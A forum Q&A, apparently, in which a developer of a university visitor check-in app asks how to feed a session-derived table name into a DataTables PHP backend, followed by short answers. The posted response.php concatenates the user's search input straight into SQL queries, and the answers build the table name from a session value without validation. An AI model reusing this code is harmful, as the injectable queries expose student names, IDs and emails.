<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/24365087-b739-4314-af6e-741946b60bef.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/b05259d9-ca62-44a8-8a19-d3facdbd64df.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/2603d516-f938-4b52-ae3a-11d25bb4c555.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/510266cf-74ab-4fa8-9b39-dd37b90d6ab0.css"/>
</head>
<body>
<!-- nav -->
<div class="top-bar">
<div class="top-bar-left">
<ul class="menu">
<li>Check-In</li>
</ul>
</div>
<div class="top-bar-right">
<ul class="menu">
<li>Admin Login</li>
<li>Logout</li>
</ul>
</div>
</div>
<div class="row text-center" style="margin-top: 5%;">
<h1>Syracuse University</h1>
<!-- replace with whatever department they select -->
<h2>Technical Services</h2>
</div>
<div class="row">
<form id="checkin" method="post" name="checkin">
<div class="row">
<div class="medium-12 columns">
<label>Please Swipe Your SUID Card
<input type="text" placeholder="SUID Number Here" id="suid" name="suid" required>
</label>
</div>
<div class="medium-12 columns">
<label>Who Are You Here to See?
<?php
$staffTable = $dept . "_staff";
echo "<select name='staff'>";
echo '<option value="">'.'Please select a staff member'.'</option>';
$query = mysqli_query($VisitorManagement, "SELECT * FROM {$staffTable}");
while($row=mysqli_fetch_array($query))
{
echo "<option value='". $row['fullName']."'>".$row['fullName']
.'</option>';
}
echo '</select>';
// close connection
mysqli_close($VisitorManagement);
?>
</label>
</div>
<div class="medium-12 columns">
<input type="submit" class="button" value="Submit" name="submit">
</div>
</div>
</form>
</div>
<script src="js/vendor/jquery.min.js"></script>
<script src="js/vendor/what-input.min.js"></script>
<script src="js/foundation.min.js"></script>
<script src="js/app.js"></script>
</body>
</html>
The problem is that on reports.php, I am using the DataTables plugin to dynamically organize and filter a table, but I need to be able to carry the session variable over into the plugin so it knows to organize the specific table based on what the user selected on the index.php screen.
reports.php just calls DataTables and using another page, response.php to turn the data from the table into JSON to be displayed. Here's reports.php:
<?php session_start();
if(empty($_SESSION['department'])) {
session_unset();
session_destroy();
header("Location: index.php");
} else {
$dept = $_SESSION[department];
}
$checkinTable = $dept . "_checkin";
?>
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Visitor Management</title>
<link rel="stylesheet" href="../css/foundation.min.css" />
<link rel="stylesheet" href="../css/app.css" />
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/24365087-b739-4314-af6e-741946b60bef.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/b05259d9-ca62-44a8-8a19-d3facdbd64df.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/2603d516-f938-4b52-ae3a-11d25bb4c555.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/510266cf-74ab-4fa8-9b39-dd37b90d6ab0.css"/>
<link type="text/css" rel="stylesheet" href="https://cdn.datatables.net/r/dt/jq-2.1.4,jszip-2.5.0,pdfmake-0.1.18,dt-1.10.9,af-2.0.0,b-1.0.3,b-colvis-1.0.3,b-html5-1.0.3,b-print-1.0.3,se-1.0.1/datatables.min.css"/>
</head>
<body>
<?php
if (!isset($_SESSION['user'])) {
header("Location: ../login.php"); // If session is not set that redirect to Login Page
}
?>
<div class="top-bar admin">
<div class="top-bar-left">
<ul class="menu">
<li class="menu-text">Visitor Management</li>
</ul>
</div>
<div class="top-bar-right">
<ul class="menu">
<li>Logout</li>
<li>Help</li>
</ul>
</div>
</div>
<div class="medium-2 columns dash">
<ul>
<li>Dashboard</li>
<li>Staff</li>
<li class="active">Reports</li>
</ul>
</div>
<div class="medium-10 columns">
<div class="row checkin">
<h2>Reports</h2>
<table class="checkin" id="checkin">
<thead>
<tr>
<th>ID</th>
<th>SUID #</th>
<th>Staff Member</th>
<th>Student Name</th>
<th>Student Email</th>
<th>Check In Date/Time</th>
</tr>
</thead>
</table>
<!--<div class="float-left">
Export to Excel
</div>
<div class="float-right">
</div>-->
</div>
</div>
<script type="text/javascript" charset="utf8" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.8.2.min.js"></script>
<script src="../js/vendor/what-input.min.js"></script>
<script src="../js/foundation.min.js"></script>
<script src="../js/app.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/r/dt/jq-2.1.4,jszip-2.5.0,pdfmake-0.1.18,dt-1.10.9,af-2.0.0,b-1.0.3,b-colvis-1.0.3,b-html5-1.0.3,b-print-1.0.3,se-1.0.1/datatables.min.js"></script>
<script>
$(document).ready(function() {
$('#checkin').DataTable({
"bProcessing": true,
"serverSide": false,
"dom": 'lBfrtip',
"buttons": [
{
extend: 'collection',
text: 'Export',
buttons: [
'copy',
'excel',
'csv',
'pdf',
'print'
]
}
],
"ajax":{
url :"response.php", // json datasource
type: "post", // type of method ,GET/POST/DELETE
data: {}
}
});
});
</script>
</body>
</html>
Here's response.php:
<?php
//include connection file
include_once("../connection.php");
// initilize all variable
$params = $columns = $totalRecords = $data = array();
$params = $_REQUEST;
//define index of column
$columns = array(
0 => 'id',
1 => 'suid',
2 => 'staffMember',
3 => 'studentName',
4 => 'studentEmail',
5 => 'checkinDateTime'
);
$where = $sqlTot = $sqlRec = "";
// check search value exist
if( !empty($params['search']['value']) ) {
$where .=" WHERE ";
$where .=" ( studentName LIKE '".$params['search']['value']."%' ";
$where .=" OR staffMember LIKE '".$params['search']['value']."%' ";
$where .=" OR studentEmail LIKE '".$params['search']['value']."%' ";
$where .=" OR suid LIKE '".$params['search']['value']."%' ";
$where .=" OR checkinDate LIKE '".$params['search']['value']."%' )";
}
// getting total number records without any search
$sql = "SELECT id, suid, staffMember, studentName, studentEmail, date_format(checkinDateTime, '%b %d, %Y, %h:%i %p') as checkinDateTime FROM `ts_checkin`";
$sqlTot .= $sql;
$sqlRec .= $sql;
//concatenate search sql if value exist
if(isset($where) && $where != '') {
$sqlTot .= $where;
$sqlRec .= $where;
}
//$sqlRec .= " ORDER BY ". $columns[$params['order'][0]['column']]." ".$params['order'][0]['dir']." LIMIT ".$params['start']." ,".$params['length']." ";
$queryTot = mysqli_query($VisitorManagement, $sqlTot) or die("database error:". mysqli_error($VisitorManagement));
$totalRecords = mysqli_num_rows($queryTot);
$queryRecords = mysqli_query($VisitorManagement, $sqlRec) or die("error to fetch check-in data");
//iterate on results row and create new index array of data
while( $row = mysqli_fetch_row($queryRecords) ) {
$data[] = $row;
}
$json_data = array(
"draw" => intval( $params['draw'] ),
"recordsTotal" => intval( $totalRecords ),
"recordsFiltered" => intval($totalRecords),
"data" => $data // total data array
);
echo json_encode($json_data); // send data as json format
?>
In response.php, I need to able to replace ts_checkin, which is shown on this line:
$sql = "SELECT id, suid, staffMember, studentName, studentEmail, date_format(checkinDateTime, '%b %d, %Y, %h:%i %p') as checkinDateTime FROM `ts_checkin`";`
with a variable called $checkinTable that would concatenate similar to how checkin.php does with the staff table. So essentially I would like to have $checkinTable = $dept . "_checkin" with $dept equaling the value of the session variable.
When I go to do this, I get this error from DataTables: DataTables warning: table id=checkin - Invalid JSON response. For more information about this error, please see http://datatables.net/tn/1
Is it possible to get this working? I would like to keep DataTables as its the best way to achieve on-the-fly table filtering, searching, and sorting (plus it's a highly requested feature by our departments). But I need to be able to set the table based on the session variable.
I apologize for the length of this question. If there needs to be clarification, let me know.
I'm not certain to understand the question...
Are you saying this is not working ?
Did you try it written like this?
(notice the space after FROM. It is necessary!)
$checkinTable = $dept . "_checkin";
$sql = "SELECT id, suid, staffMember, studentName, studentEmail, date_format(checkinDateTime, '%b %d, %Y, %h:%i %p') as checkinDateTime FROM " . $checkinTable;
For sure, $dept has also to be defined.
And the resulting $checkinTable has to be an existing table name.
Ok...
This looks to be missing in your response.php:
session_start();
$dept = $_SESSION[department];
$checkinTable = $dept . "_checkin";